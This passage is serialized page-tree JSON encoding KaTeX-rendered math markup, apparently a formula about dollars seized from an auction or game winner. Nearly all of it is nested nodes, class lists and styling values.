"type":22,"tag":264,"props":163371,"children":163373},{"className":163372},[294],[163374],{"type":27,"value":2660},{"type":22,"tag":264,"props":163376,"children":163378},{"className":163377},[289],[163379,163384],{"type":22,"tag":264,"props":163380,"children":163382},{"className":163381,"style":22894},[289,2178],[163383],{"type":27,"value":22897},{"type":22,"tag":264,"props":163385,"children":163387},{"className":163386},[2147],[163388],{"type":22,"tag":264,"props":163389,"children":163391},{"className":163390},[305,306],[163392,163421],{"type":22,"tag":264,"props":163393,"children":163395},{"className":163394},[311],[163396,163416],{"type":22,"tag":264,"props":163397,"children":163399},{"className":163398,"style":2690},[316],[163400],{"type":22,"tag":264,"props":163401,"children":163402},{"style":162271},[163403,163407],{"type":22,"tag":264,"props":163404,"children":163406},{"className":163405,"style":2169},[326],[],{"type":22,"tag":264,"props":163408,"children":163410},{"className":163409},[332,333,334,335],[163411],{"type":22,"tag":264,"props":163412,"children":163414},{"className":163413},[289,2178,335],[163415],{"type":27,"value":57724},{"type":22,"tag":264,"props":163417,"children":163419},{"className":163418},[396],[163420],{"type":27,"value":399},{"type":22,"tag":264,"props":163422,"children":163424},{"className":163423},[311],[163425],{"type":22,"tag":264,"props":163426,"children":163428},{"className":163427,"style":2721},[316],[163429],{"type":22,"tag":264,"props":163430,"children":163431},{},[],{"type":22,"tag":264,"props":163433,"children":163435},{"className":163434,"style":665},[420],[],{"type":22,"tag":264,"props":163437,"children":163439},{"className":163438},[670],[163440],{"type":27,"value":5372},{"type":22,"tag":264,"props":163442,"children":163444},{"className":163443,"style":665},[420],[],{"type":22,"tag":264,"props":163446,"children":163448},{"className":163447},[289],[163449,163454],{"type":22,"tag":264,"props":163450,"children":163452},{"className":163451},[289,2178],[163453],{"type":27,"value":23},{"type":22,"tag":264,"props":163455,"children":163457},{"className":163456},[2147],[163458],{"type":22,"tag":264,"props":163459,"children":163461},{"className":163460},[305,306],[163462,163491],{"type":22,"tag":264,"props":163463,"children":163465},{"className":163464},[311],[163466,163486],{"type":22,"tag":264,"props":163467,"children":163469},{"className":163468,"style":94898},[316],[163470],{"type":22,"tag":264,"props":163471,"children":163472},{"style":94426},[163473,163477],{"type":22,"tag":264,"props":163474,"children":163476},{"className":163475,"style":2169},[326],[],{"type":22,"tag":264,"props":163478,"children":163480},{"className":163479},[332,333,334,335],[163481],{"type":22,"tag":264,"props":163482,"children":163484},{"className":163483},[289,2178,335],[163485],{"type":27,"value":5050},{"type":22,"tag":264,"props":163487,"children":163489},{"className":163488},[396],[163490],{"type":27,"value":399},{"type":22,"tag":264,"props":163492,"children":163494},{"className":163493},[311],[163495],{"type":22,"tag":264,"props":163496,"children":163498},{"className":163497,"style":2721},[316],[163499],{"type":22,"tag":264,"props":163500,"children":163501},{},[],{"type":22,"tag":264,"props":163503,"children":163505},{"className":163504},[415],[163506],{"type":27,"value":2806},{"type":22,"tag":264,"props":163508,"children":163509},{"style":162460},[163510,163514],{"type":22,"tag":264,"props":163511,"children":163513},{"className":163512,"style":162238},[326],[],{"type":22,"tag":264,"props":163515,"children":163517},{"className":163516},[289],[163518,163522,163526,163531,163535,163592,163596,163601,163605],{"type":22,"tag":264,"props":163519,"children":163521},{"className":163520},[289],[],{"type":22,"tag":264,"props":163523,"children":163525},{"className":163524,"style":421},[420],[],{"type":22,"tag":264,"props":163527,"children":163529},{"className":163528},[426],[163530],{"type":27,"value":429},{"type":22,"tag":264,"props":163532,"children":163534},{"className":163533,"style":421},[420],[],{"type":22,"tag":264,"props":163536,"children":163538},{"className":163537},[289],[163539,163544],{"type":22,"tag":264,"props":163540,"children":163542},{"className":163541},[289,2178],[163543],{"type":27,"value":4449},{"type":22,"tag":264,"props":163545,"children":163547},{"className":163546},[2147],[163548],{"type":22,"tag":264,"props":163549,"children":163551},{"className":163550},[305,306],[163552,163581],{"type":22,"tag":264,"props":163553,"children":163555},{"className":163554},[311],[163556,163576],{"type":22,"tag":264,"props":163557,"children":163559},{"className":163558,"style":94898},[316],[163560],{"type":22,"tag":264,"props":163561,"children":163562},{"style":94426},[163563,163567],{"type":22,"tag":264,"props":163564,"children":163566},{"className":163565,"style":2169},[326],[],{"type":22,"tag":264,"props":163568,"children":163570},{"className":163569},[332,333,334,335],[163571],{"type":22,"tag":264,"props":163572,"children":163574},{"className":163573},[289,2178,335],[163575],{"type":27,"value":5050},{"type":22,"tag":264,"props":163577,"children":163579},{"className":163578},[396],[163580],{"type":27,"value":399},{"type":22,"tag":264,"props":163582,"children":163584},{"className":163583},[311],[163585],{"type":22,"tag":264,"props":163586,"children":163588},{"className":163587,"style":2721},[316],[163589],{"type":22,"tag":264,"props":163590,"children":163591},{},[],{"type":22,"tag":264,"props":163593,"children":163595},{"className":163594,"style":665},[420],[],{"type":22,"tag":264,"props":163597,"children":163599},{"className":163598},[670],[163600],{"type":27,"value":673},{"type":22,"tag":264,"props":163602,"children":163604},{"className":163603,"style":665},[420],[],{"type":22,"tag":264,"props":163606,"children":163608},{"className":163607},[289],[163609,163614],{"type":22,"tag":264,"props":163610,"children":163612},{"className":163611,"style":94855},[289,2178],[163613],{"type":27,"value":162409},{"type":22,"tag":264,"props":163615,"children":163617},{"className":163616},[2147],[163618],{"type":22,"tag":264,"props":163619,"children":163621},{"className":163620},[305,306],[163622,163651],{"type":22,"tag":264,"props":163623,"children":163625},{"className":163624},[311],[163626,163646],{"type":22,"tag":264,"props":163627,"children":163629},{"className":163628,"style":94898},[316],[163630],{"type":22,"tag":264,"props":163631,"children":163632},{"style":94902},[163633,163637],{"type":22,"tag":264,"props":163634,"children":163636},{"className":163635,"style":2169},[326],[],{"type":22,"tag":264,"props":163638,"children":163640},{"className":163639},[332,333,334,335],[163641],{"type":22,"tag":264,"props":163642,"children":163644},{"className":163643},[289,2178,335],[163645],{"type":27,"value":5050},{"type":22,"tag":264,"props":163647,"children":163649},{"className":163648},[396],[163650],{"type":27,"value":399},{"type":22,"tag":264,"props":163652,"children":163654},{"className":163653},[311],[163655],{"type":22,"tag":264,"props":163656,"children":163658},{"className":163657,"style":2721},[316],[163659],{"type":22,"tag":264,"props":163660,"children":163661},{},[],{"type":22,"tag":264,"props":163663,"children":163664},{"style":162529},[163665,163669],{"type":22,"tag":264,"props":163666,"children":163668},{"className":163667,"style":162238},[326],[],{"type":22,"tag":264,"props":163670,"children":163672},{"className":163671},[289],[163673,163677,163681,163686,163690],{"type":22,"tag":264,"props":163674,"children":163676},{"className":163675},[289],[],{"type":22,"tag":264,"props":163678,"children":163680},{"className":163679,"style":421},[420],[],{"type":22,"tag":264,"props":163682,"children":163684},{"className":163683},[426],[163685],{"type":27,"value":429},{"type":22,"tag":264,"props":163687,"children":163689},{"className":163688,"style":421},[420],[],{"type":22,"tag":264,"props":163691,"children":163693},{"className":163692},[289],[163694,163699],{"type":22,"tag":264,"props":163695,"children":163697},{"className":163696,"style":94855},[289,2178],[163698],{"type":27,"value":162409},{"type":22,"tag":264,"props":163700,"children":163702},{"className":163701},[2147],[163703],{"type":22,"tag":264,"props":163704,"children":163706},{"className":163705},[305,306],[163707,163755],{"type":22,"tag":264,"props":163708,"children":163710},{"className":163709},[311],[163711,163750],{"type":22,"tag":264,"props":163712,"children":163715},{"className":163713,"style":163714},[316],"height:0.8213em;",[163716,163733],{"type":22,"tag":264,"props":163717,"children":163719},{"style":163718},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[163720,163724],{"type":22,"tag":264,"props":163721,"children":163723},{"className":163722,"style":2169},[326],[],{"type":22,"tag":264,"props":163725,"children":163727},{"className":163726},[332,333,334,335],[163728],{"type":22,"tag":264,"props":163729,"children":163731},{"className":163730},[289,2178,335],[163732],{"type":27,"value":5050},{"type":22,"tag":264,"props":163734,"children":163736},{"style":163735},"top:-3.113em;margin-right:0.05em;",[163737,163741],{"type":22,"tag":264,"props":163738,"children":163740},{"className":163739,"style":2169},[326],[],{"type":22,"tag":264,"props":163742,"children":163744},{"className":163743},[332,333,334,335],[163745],{"type":22,"tag":264,"props":163746,"children":163748},{"className":163747},[670,335],[163749],{"type":27,"value":673},{"type":22,"tag":264,"props":163751,"children":163753},{"className":163752},[396],[163754],{"type":27,"value":399},{"type":22,"tag":264,"props":163756,"children":163758},{"className":163757},[311],[163759],{"type":22,"tag":264,"props":163760,"children":163763},{"className":163761,"style":163762},[316],"height:0.267em;",[163764],{"type":22,"tag":264,"props":163765,"children":163766},{},[],{"type":22,"tag":264,"props":163768,"children":163769},{"style":162599},[163770,163774],{"type":22,"tag":264,"props":163771,"children":163773},{"className":163772,"style":162238},[326],[],{"type":22,"tag":264,"props":163775,"children":163777},{"className":163776},[289],[163778,163782,163786,163791,163795,163805],{"type":22,"tag":264,"props":163779,"children":163781},{"className":163780},[289],[],{"type":22,"tag":264,"props":163783,"children":163785},{"className":163784,"style":421},[420],[],{"type":22,"tag":264,"props":163787,"children":163789},{"className":163788},[426],[163790],{"type":27,"value":22912},{"type":22,"tag":264,"props":163792,"children":163794},{"className":163793,"style":421},[420],[],{"type":22,"tag":264,"props":163796,"children":163798},{"className":163797},[289,27],[163799],{"type":22,"tag":264,"props":163800,"children":163802},{"className":163801},[289],[163803],{"type":27,"value":163804},"dollars seized from winner ",{"type":22,"tag":264,"props":163806,"children":163808},{"className":163807},[289,2178],[163809],{"type":27,"value":5050},{"type":22,"tag":264,"props":163811,"children":163812},{"style":162668},[163813,163817],{"type":22,"tag":264,"props":163814,"children":163816},{"className":163815,"style":162238},[326],[],{"type":22,"tag":264,"props":163818,"children":163820},{"className":163819},[289],[163821,163825,163829,163834,163838],{"type":22,"tag":264,"props":163822,"children":163824},{"className":163823},[289],[],{"type":22,"tag":264,"props":163826,"children":163828},{"className":163827,"style":421},[420],[],{"type":22,"tag":264,"props":163830,"children":163832},{"className":163831},[426],[163833],{"type":27,"value":429},{"type":22,"tag":264,"props":163835,"children":163837},{"className":163836,"style":421},[420],[],{"type":22,"tag":264,"props":163839,"children":163841},{"className":163840},[289],[163842,163846,164027],{"type":22,"tag":264,"props":163843,"children":163845},{"className":163844},[294,295],[],{"type":22,"tag":264,"props":163847,"children":163849},{"className":163848},[300],[163850],{"type":22,"tag":264,"props":163851,"children":163853},{"className":163852},[305,306],[163854,164015],{"type":22,"tag":264,"props":163855,"children":163857},{"className":163856},[311],[163858,164010],{"type":22,"tag":264,"props":163859,"children":163862},{"className":163860,"style":163861},[316],"height:1.1076em;",[163863,163931,163942],{"type":22,"tag":264,"props":163864,"children":163865},{"style":1030},[163866,163870],{"type":22,"tag":264,"props":163867,"children":163869},{"className":163868,"style":327},[326],[],{"type":22,"tag":264,"props":163871,"children":163873},{"className":163872},[289],[163874],{"type":22,"tag":264,"props":163875,"children":163877},{"className":163876},[289],[163878,163883],{"type":22,"tag":264,"props":163879,"children":163881},{"className":163880,"style":123632},[289,2178],[163882],{"type":27,"value":50892},{"type":22,"tag":264,"props":163884,"children":163886},{"className":163885},[2147],[163887],{"type":22,"tag":264,"props":163888,"children":163890},{"className":163889},[305,306],[163891,163920],{"type":22,"tag":264,"props":163892,"children":163894},{"className":163893},[311],[163895,163915],{"type":22,"tag":264,"props":163896,"children":163898},{"className":163897,"style":94898},[316],[163899],{"type":22,"tag":264,"props":163900,"children":163901},{"style":162566},[163902,163906],{"type":22,"tag":264,"props":163903,"children":163905},{"className":163904,"style":2169},[326],[],{"type":22,"tag":264,"props":163907,"children":163909},{"className":163908},[332,333,334,335],[163910],{"type":22,"tag":264,"props":163911,"children":163913},{"className":163912},[289,2178,335],[163914],{"type":27,"value":5050},{"type":22,"tag":264,"props":163916,"children":163918},{"className":163917},[396],[163919],{"type":27,"value":399},{"type":22,"tag":264,"props":163921,"children":163923},{"className":163922},[311],[163924],{"type":22,"tag":264,"props":163925,"children":163927},{"className":163926,"style":2721},[316],[163928],{"type":22,"tag":264,"props":163929,"children":163930},{},[],{"type":22,"tag":264,"props":163932,"children":163933},{"style":349},[163934,163938],{"type":22,"tag":264,"props":163935,"children":163937},{"className":163936,"style":327},[326],[],{"type":22,"tag":264,"props":163939,"children":163941},{"className":163940,"style":359},[358],[],{"type":22,"tag":264,"props":163943,"children":163944},{"style":1058},[163945,163949],{"type":22,"tag":264,"props":163946,"children":163948},{"className":163947,"style":327},[326],[],{"type":22,"tag":264,"props":163950,"children":163952},{"className":163951},[289],[163953],{"type":22,"tag":264,"props":163954,"children":163956},{"className":163955},[289],[163957,163962],{"type":22,"tag":264,"props":163958,"children":163960},{"className":163959},[289,2178],[163961],{"type":27,"value":20581},{"type":22,"tag":264,"props":163963,"children":163965},{"className":163964},[2147],[163966],{"type":22,"tag":264,"props":163967,"children":163969},{"className":163968},[305,306],[163970,163999],{"type":22,"tag":264,"props":163971,"children":163973},{"className":163972},[311],[163974,163994],{"type":22,"tag":264,"props":163975,"children":163977},{"className":163976,"style":94898},[316],[163978],{"type":22,"tag":264,"props":163979,"children":163980},{"style":94426},[163981,163985],{"type":22,"tag":264,"props":163982,"children":163984},{"className":163983,"style":2169},[326],[],{"type":22,"tag":264,"props":163986,"children":163988},{"className":163987},[332,333,334,335],[163989],{"type":22,"tag":264,"props":163990,"children":163992},{"className":163991},[289,2178,335],[163993],{"type":27,"value":5050},{"type":22,"tag":264,"props":163995,"children":163997},{"className":163996},[396],[163998],{"type":27,"value":399},{"type":22,"tag":264,"props":164000,"children":164002},{"className":164001},[311],[164003],{"type":22,"tag":264,"props":164004,"children":164006},{"className":164005,"style":2721},[316],[164007],{"type":22,"tag":264,"props":164008,"children":164009},{},[],{"type":22,"tag":264,"props":164011,"children":164013},{"className":164012},[396],[164014],{"type":27,"value":399},{"type":22,"tag":264,"props":164016,"children":164018},{"className":164017},[311],[164019],{"type":22,"tag":264,"props":164020,"children":164023},{"className":164021,"style":164022},[316],"height:0.836em;",[164024],{"type":22,"tag":264,"props":164025,"children":164026},{},[],{"type":22,"tag":264,"props":164028,"children":164030},{"className":164029},[415,295],[],{"type":22,"tag":264,"props":164032,"children":164033},{"style":162737},[164034,164038],{"type":22,"tag":264,"props":164035,"children":164037},{"className":164036,"style":162238},[326],[],{"type":22,"tag":264,"props":164039,"children":164041},{"className":164040},[289],[164042,164046,164050,164055,164059,164129,164133],{"type":22,"tag":264,"props":164043,"children":164045},{"className":164044},[289],[],{"type":22,"tag":264,"props":164047,"children":164049},{"className":164048,"style":421},[420],[],{"type":22,"tag":264,"props":164051,"children":164053},{"className":164052},[426],[164054],{"type":27,"value":429},{"type":22,"tag":264,"props":164056,"children":164058},{"className":164057,"style":421},[420],[],{"type":22,"tag":264,"props":164060,"children":164063},{"className":164061},[22929,164062],"op-limits",[164064],{"type":22,"tag":264,"props":164065,"children":164067},{"className":164066},[305,306],[164068,164117],{"type":22,"tag":264,"props":164069,"children":164071},{"className":164070},[311],[164072,164112],{"type":22,"tag":264,"props":164073,"children":164076},{"className":164074,"style":164075},[316],"height:1.05em;",[164077,164095],{"type":22,"tag":264,"props":164078,"children":164080},{"style":164079},"top:-1.8723em;margin-left:0em;",[164081,164086],{"type":22,"tag":264,"props":164082,"children":164085},{"className":164083,"style":164084},[326],"height:3.05em;",[],{"type":22,"tag":264,"props":164087,"children":164089},{"className":164088},[332,333,334,335],[164090],{"type":22,"tag":264,"props":164091,"children":164093},{"className":164092},[289,2178,335],[164094],{"type":27,"value":5050},{"type":22,"tag":264,"props":164096,"children":164098},{"style":164097},"top:-3.05em;",[164099,164103],{"type":22,"tag":264,"props":164100,"children":164102},{"className":164101,"style":164084},[326],[],{"type":22,"tag":264,"props":164104,"children":164105},{},[164106],{"type":22,"tag":264,"props":164107,"children":164110},{"className":164108},[22929,22934,164109],"large-op",[164111],{"type":27,"value":110163},{"type":22,"tag":264,"props":164113,"children":164115},{"className":164114},[396],[164116],{"type":27,"value":399},{"type":22,"tag":264,"props":164118,"children":164120},{"className":164119},[311],[164121],{"type":22,"tag":264,"props":164122,"children":164125},{"className":164123,"style":164124},[316],"height:1.2777em;",[164126],{"type":22,"tag":264,"props":164127,"children":164128},{},[],{"type":22,"tag":264,"props":164130,"children":164132},{"className":164131,"style":5427},[420],[],{"type":22,"tag":264,"props":164134,"children":164136},{"className":164135},[289],[164137,164142],{"type":22,"tag":264,"props":164138,"children":164140},{"className":164139},[289,2178],[164141],{"type":27,"value":20581},{"type":22,"tag":264,"props":164143,"children":164145},{"className":164144},[2147],[164146],{"type":22,"tag":264,"props":164147,"children":164149},{"className":164148},[305,306],[164150,164179],{"type":22,"tag":264,"props":164151,"children":164153},{"className":164152},[311],[164154,164174],{"type":22,"tag":264,"props":164155,"children":164157},{"className":164156,"style":94898},[316],[164158],{"type":22,"tag":264,"props":164159,"children":164160},{"style":94426},[164161,164165],{"type":22,"tag":264,"props":164162,"children":164164},{"className":164163,"style":2169},[326],[],{"type":22,"tag":264,"props":164166,"children":164168},{"className":164167},[332,333,334,335],[164169],{"type":22,"tag":264,"props":164170,"children":164172},{"className":164171},[289,2178,335],[164173],{"type":27,"value":5050},{"type":22,"tag":264,"props":164175,"children":164177},{"className":164176},[396],[164178],{"type":27,"value":399},{"type":22,"tag":264,"props":164180,"children":164182},{"className":164181},[311],[164183],{"type":22,"tag":264,"props":164184,"children":164186},{"className":164185,"style":2721},[316],[164187],{"type":22,"tag":264,"props":164188,"children":164189},{},[],{"type":22,"tag":264,"props":164191,"children":164192},{"style":162806},[164193,164197],{"type":22,"tag":264,"props":164194,"children":164196},{"className":164195,"style":162238},[326],[],{"type":22,"tag":264,"props":164198,"children":164200},{"className":164199},[289],[164201,164205,164209,164214,164218,164281,164285,164290,164295,164300,164357,164362,164366,164370,164375],{"type":22,"tag":264,"props":164202,"children":164204},{"className":164203},[289],[],{"type":22,"tag":264,"props":164206,"children":164208},{"className":164207,"style":421},[420],[],{"type":22,"tag":264,"props":164210,"children":164212},{"className":164211},[426],[164213],{"type":27,"value":429},{"type":22,"tag":264,"props":164215,"children":164217},{"className":164216,"style":421},[420],[],{"type":22,"tag":264,"props":164219,"children":164221},{"className":164220},[22929,164062],[164222],{"type":22,"tag":264,"props":164223,"children":164225},{"className":164224},[305,306],[164226,164270],{"type":22,"tag":264,"props":164227,"children":164229},{"className":164228},[311],[164230,164265],{"type":22,"tag":264,"props":164231,"children":164233},{"className":164232,"style":164075},[316],[164234,164250],{"type":22,"tag":264,"props":164235,"children":164236},{"style":164079},[164237,164241],{"type":22,"tag":264,"props":164238,"children":164240},{"className":164239,"style":164084},[326],[],{"type":22,"tag":264,"props":164242,"children":164244},{"className":164243},[332,333,334,335],[164245],{"type":22,"tag":264,"props":164246,"children":164248},{"className":164247},[289,2178,335],[164249],{"type":27,"value":5050},{"type":22,"tag":264,"props":164251,"children":164252},{"style":164097},[164253,164257],{"type":22,"tag":264,"props":164254,"children":164256},{"className":164255,"style":164084},[326],[],{"type":22,"tag":264,"props":164258,"children":164259},{},[164260],{"type":22,"tag":264,"props":164261,"children":164263},{"className":164262},[22929,22934,164109],[164264],{"type":27,"value":110163},{"type":22,"tag":264,"props":164266,"children":164268},{"className":164267},[396],[164269],{"type":27,"value":399},{"type":22,"tag":264,"props":164271,"children":164273},{"className":164272},[311],[164274],{"type":22,"tag":264,"props":164275,"children":164277},{"className":164276,"style":164124},[316],[164278],{"type":22,"tag":264,"props":164279,"children":164280},{},[],{"type":22,"tag":264,"props":164282,"children":164284},{"className":164283,"style":5427},[420],[],{"type":22,"tag":264,"props":164286,"children":164288},{"className":164287},[22929],[164289],{"type":27,"value":161952},{"type":22,"tag":264,"props":164291,"children":164293},{"className":164292},[294],[164294],{"type":27,"value":2660},{"type":22,"tag":264,"props":164296,"children":164298},{"className":164297},[289],[164299],{"type":27,"value":5372},{"type":22,"tag":264,"props":164301,"children":164303},{"className":164302},[289],[164304,164309],{"type":22,"tag":264,"props":164305,"children":164307},{"className":164306},[289,2178],[164308],{"type":27,"value":52775},{"type":22,"tag":264,"props":164310,"children":164312},{"className":164311},[2147],[164313],{"type":22,"tag":264,"props":164314,"children":164316},{"className":164315},[305,306],[164317,164346],{"type":22,"tag":264,"props":164318,"children":164320},{"className":164319},[311],[164321,164341],{"type":22,"tag":264,"props":164322,"children":164324},{"className":164323,"style":94898},[316],[164325],{"type":22,"tag":264,"props":164326,"children":164327},{"style":94426},[164328,164332],{"type":22,"tag":264,"props":164329,"children":164331},{"className":164330,"style":2169},[326],[],{"type":22,"tag":264,"props":164333,"children":164335},{"className":164334},[332,333,334,335],[164336],{"type":22,"tag":264,"props":164337,"children":164339},{"className":164338},[289,2178,335],[164340],{"type":27,"value":5050},{"type":22,"tag":264,"props":164342,"children":164344},{"className":164343},[396],[164345],{"type":27,"value":399},{"type":22,"tag":264,"props":164347,"children":164349},{"className":164348},[311],[164350],{"type":22,"tag":264,"props":164351,"children":164353},{"className":164352,"style":2721},[316],[164354],{"type":22,"tag":264,"props":164355,"children":164356},{},[],{"type":22,"tag":264,"props":164358,"children":164360},{"className":164359},[5420],[164361],{"type":27,"value":5423},{"type":22,"tag":264,"props":164363,"children":164365},{"className":164364,"style":5427},[420],[],{"type":22,"tag":264,"props":164367,"children":164369},{"className":164368,"style":5427},[420],[],{"type":22,"tag":264,"props":164371,"children":164373},{"className":164372},[289],[164374],{"type":27,"value":5334},{"type":22,"tag":264,"props":164376,"children":164378},{"className":164377},[415],[164379],{"type":27,"value":2806},{"type":22,"tag":264,"props":164381,"children":164382},{"style":162876},[164383,164387],{"type":22,"tag":264,"props":164384,"children":164386},{"className":164385,"style":162238},[326],[],{"type":22,"tag":264,"props":164388,"children":164390},{"className":164389},[289],[164391,164395,164399,164404,164408,164471,164475],{"type":22,"tag":264,"props":164392,"children":164394},{"className":164393},[289],[],{"type":22,"tag":264,"props":164396,"children":164398},{"className":164397,"style":421},[420],[],{"type":22,"tag":264,"props":164400,"children":164402},{"className":164401},[426],[164403],{"type":27,"value":429},{"type":22,"tag":264,"props":164405,"children":164407},{"className":164406,"style":421},[420],[],{"type":22,"tag":264,"props":164409,"children":164411},{"className":164410},[22929,164062],[164412],{"type":22,"tag":264,"props":164413,"children":164415},{"className":164414},[305,306],[164416,164460],{"type":22,"tag":264,"props":164417,"children":164419},{"className":164418},[311],[164420,164455],{"type":22,"tag":264,"props":164421,"children":164423},{"className":164422,"style":164075},[316],[164424,164440],{"type":22,"tag":264,"props":164425,"children":164426},{"style":164079},[164427,164431],{"type":22,"tag":264,"props":164428,"children":164430},{"className":164429,"style":164084},[326],[],{"type":22,"tag":264,"props":164432,"children":164434},{"className":164433},[332,333,334,335],[164435],{"type":22,"tag":264,"props":164436,"children":164438},{"className":164437},[289,2178,335],[164439],{"type":27,"value":5050},{"type":22,"tag":264,"props":164441,"children":164442},{"style":164097},[164443,164447],{"type":22,"tag":264,"props":164444,"children":164446},{"className":164445,"style":164084},[326],[],{"type":22,"tag":264,"props":164448,"children":164449},{},[164450],{"type":22,"tag":264,"props":164451,"children":164453},{"className":164452},[22929,22934,164109],[164454],{"type":27,"value":110163},{"type":22,"tag":264,"props":164456,"children":164458},{"className":164457},[396],[164459],{"type":27,"value":399},{"type":22,"tag":264,"props":164461,"children":164463},{"className":164462},[311],[164464],{"type":22,"tag":264,"props":164465,"children":164467},{"className":164466,"style":164124},[316],[164468],{"type":22,"tag":264,"props":164469,"children":164470},{},[],{"type":22,"tag":264,"props":164472,"children":164474},{"className":164473,"style":5427},[420],[],{"type":22,"tag":264,"props":164476,"children":164478},{"className":164477},[289],[164479,164484],{"type":22,"tag":264,"props":164480,"children":164482},{"className":164481,"style":123632},[289,2178],[164483],{"type":27,"value":50892},{"type":22,"tag":264,"props":164485,"children":164487},{"className":164486},[2147],[164488],{"type":22,"tag":264,"props":164489,"children":164491},{"className":164490},[305,306],[164492,164521],{"type":22,"tag":264,"props":164493,"children":164495},{"className":164494},[311],[164496,164516],{"type":22,"tag":264,"props":164497,"children":164499},{"className":164498,"style":94898},[316],[164500],{"type":22,"tag":264,"props":164501,"children":164502},{"style":162566},[164503,164507],{"type":22,"tag":264,"props":164504,"children":164506},{"className":164505,"style":2169},[326],[],{"type":22,"tag":264,"props":164508,"children":164510},{"className":164509},[332,333,334,335],[164511],{"type":22,"tag":264,"props":164512,"children":164514},{"className":164513},[289,2178,335],[164515],{"type":27,"value":5050},{"type":22,"tag":264,"props":164517,"children":164519},{"className":164518},[396],[164520],{"type":27,"value":399},{"type":22,"tag":264,"props":164522,"children":164524},{"className":164523},[311],[164525],{"type":22,"tag":264,"props":164526,"children":164528},{"className":164527,"style":2721},[316],[164529],{"type":22,"tag":264,"props":164530,"children":164531},{},[],{"type":22,"tag":264,"props":164533,"children":164534},{"style":162947},[164535,164539],{"type":22,"tag":264,"props":164536,"children":164538},{"className":164537,"style":162238},[326],[],{"type":22,"tag":264,"props":164540,"children":164542},{"className":164541},[289],[164543,164547,164551,164556,164560,164565,164570,164627,164631,164636,164640,164645,164649,164654,164658,164715,164720,164724,164728,164733],{"type":22,"tag":264,"props":164544,"children":164546},{"className":164545},[289],[],{"type":22,"tag":264,"props":164548,"children":164550},{"className":164549,"style":421},[420],[],{"type":22,"tag":264,"props":164552,"children":164554},{"className":164553},[426],[164555],{"type":27,"value":429},{"type":22,"tag":264,"props":164557,"children":164559},{"className":164558,"style":421},[420],[],{"type":22,"tag":264,"props":164561,"children":164563},{"className":164562},[22929],[164564],{"type":27,"value":161952},{"type":22,"tag":264,"props":164566,"children":164568},{"className":164567},[294],[164569],{"type":27,"value":2660},{"type":22,"tag":264,"props":164571,"children":164573},{"className":164572},[289],[164574,164579],{"type":22,"tag":264,"props":164575,"children":164577},{"className":164576,"style":94370},[289,2178],[164578],{"type":27,"value":162825},{"type":22,"tag":264,"props":164580,"children":164582},{"className":164581},[2147],[164583],{"type":22,"tag":264,"props":164584,"children":164586},{"className":164585},[305,306],[164587,164616],{"type":22,"tag":264,"props":164588,"children":164590},{"className":164589},[311],[164591,164611],{"type":22,"tag":264,"props":164592,"children":164594},{"className":164593,"style":143900},[316],[164595],{"type":22,"tag":264,"props":164596,"children":164597},{"style":111366},[164598,164602],{"type":22,"tag":264,"props":164599,"children":164601},{"className":164600,"style":2169},[326],[],{"type":22,"tag":264,"props":164603,"children":164605},{"className":164604},[332,333,334,335],[164606],{"type":22,"tag":264,"props":164607,"children":164609},{"className":164608,"style":22894},[289,2178,335],[164610],{"type":27,"value":7279},{"type":22,"tag":264,"props":164612,"children":164614},{"className":164613},[396],[164615],{"type":27,"value":399},{"type":22,"tag":264,"props":164617,"children":164619},{"className":164618},[311],[164620],{"type":22,"tag":264,"props":164621,"children":164623},{"className":164622,"style":2721},[316],[164624],{"type":22,"tag":264,"props":164625,"children":164626},{},[],{"type":22,"tag":264,"props":164628,"children":164630},{"className":164629,"style":665},[420],[],{"type":22,"tag":264,"props":164632,"children":164634},{"className":164633},[670],[164635],{"type":27,"value":5372},{"type":22,"tag":264,"props":164637,"children":164639},{"className":164638,"style":665},[420],[],{"type":22,"tag":264,"props":164641,"children":164643},{"className":164642,"style":96388},[289,2178],[164644],{"type":27,"value":96422},{"type":22,"tag":264,"props":164646,"children":164648},{"className":164647,"style":665},[420],[],{"type":22,"tag":264,"props":164650,"children":164652},{"className":164651},[670],[164653],{"type":27,"value":5372},{"type":22,"tag":264,"props":164655,"children":164657},{"className":164656,"style":665},[420],[],{"type":22,"tag":264,"props":164659,"children":164661},{"className":164660},[289],[164662,164667],{"type":22,"tag":264,"props":164663,"children":164665},{"className":164664,"style":94603},[289,2178],[164666],{"type":27,"value":94606},{"type":22,"tag":264,"props":164668,"children":164670},{"className":164669},[2147],[164671],{"type":22,"tag":264,"props":164672,"children":164674},{"className":164673},[305,306],[164675,164704],{"type":22,"tag":264,"props":164676,"children":164678},{"className":164677},[311],[164679,164699],{"type":22,"tag":264,"props":164680,"children":164682},{"className":164681,"style":143900},[316],[164683],{"type":22,"tag":264,"props":164684,"children":164685},{"style":111796},[164686,164690],{"type":22,"tag":264,"props":164687,"children":164689},{"className":164688,"style":2169},[326],[],{"type":22,"tag":264,"props":164691,"children":164693},{"className":164692},[332,333,334,335],[164694],{"type":22,"tag":264,"props":164695,"children":164697},{"className":164696,"style":22894},[289,2178,335],[164698],{"type":27,"value":7279},{"type":22,"tag":264,"props":164700,"children":164702},{"className":164701},[396],[164703],{"type":27,"value":399},{"type":22,"tag":264,"props":164705,"children":164707},{"className":164706},[311],[164708],{"type":22,"tag":264,"props":164709,"children":164711},{"className":164710,"style":2721},[316],[164712],{"type":22,"tag":264,"props":164713,"children":164714},{},[],{"type":22,"tag":264,"props":164716,"children":164718},{"className":164717},[5420],[164719],{"type":27,"value":5423},{"type":22,"tag":264,"props":164721,"children":164723},{"className":164722,"style":5427},[420],[],{"type":22,"tag":264,"props":164725,"children":164727},{"className":164726,"style":5427},[420],[],{"type":22,"tag":264,"props":164729,"children":164731},{"className":164730},[289],[164732],{"type":27,"value":5334},{"type":22,"tag":264,"props":164734,"children":164736},{"className":164735},[415],[164737],{"type":27,"value":2806},{"type":22,"tag":264,"props":164739,"children":164741},{"className":164740},[396],[164742],{"type":27,"value":399},{"type":22,"tag":264,"props":164744,"children":164746},{"className":164745},[311],[164747],{"type":22,"tag":264,"props":164748,"children":164750},{"className":164749,"style":163028},[316],[164751],{"type":22,"tag":264,"props":164752,"children":164753},{},[],{"type":22,"tag":23,"props":164755,"children":164756},{},[164757,164758,164835,164837,164862,164864,164941,164943,165020],{"type":27,"value":2660},{"type":22,"tag":257,"props":164759,"children":164761},{"className":164760},[260,261],[164762],{"type":22,"tag":264,"props":164763,"children":164765},{"className":164764},[267],[164766],{"type":22,"tag":264,"props":164767,"children":164769},{"className":164768,"ariaHidden":273},[272],[164770],{"type":22,"tag":264,"props":164771,"children":164773},{"className":164772},[278],[164774,164778],{"type":22,"tag":264,"props":164775,"children":164777},{"class